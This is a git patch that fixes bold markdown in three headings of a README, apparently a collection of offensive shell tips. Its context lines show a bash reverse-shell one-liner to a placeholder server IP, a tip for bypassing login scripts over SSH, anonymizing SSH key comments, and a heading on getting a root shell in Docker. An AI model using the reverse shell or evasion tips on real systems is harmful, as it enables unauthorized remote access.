From 2648e14515d0e77d8ad67a0950107be9b1a01bc5 Mon Sep 17 00:00:00 2001 From: "[ virtual snow ]" <59495119+virtualsnow@users.noreply.github.com> Date: Fri, 24 Jan 2020 00:27:49 -0800 Subject: [PATCH] Update README.md --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index a9178b1..2f3391b 100644 --- a/README.md +++ b/README.md @@ -289,7 +289,7 @@ Replace `xx.xx.xx.xx` with your server ip. $ bash -i >& /dev/tcp/xx.xx.xx.xx/666 0>&1 ``` -**23. SSH with different shell +**23. SSH with different shell** Bypass events that exist in login scripts such as `.profile` and `.bashrc`. @@ -298,7 +298,7 @@ $ ssh user@server sh ``` -**24. Strip SSH key comment field. +**24. Strip SSH key comment field.** `ssh-keygen` automatically fills this field with local user and host, and can be recorded during connection. @@ -308,7 +308,7 @@ Command strips comment field from both private and public keys. $ ssh-keygen -c -C "redacted" -f ~/.ssh/id_rsa ``` -**25. Get a root shell in Docker container. +**25. Get a root shell in Docker container.** If the container is already running: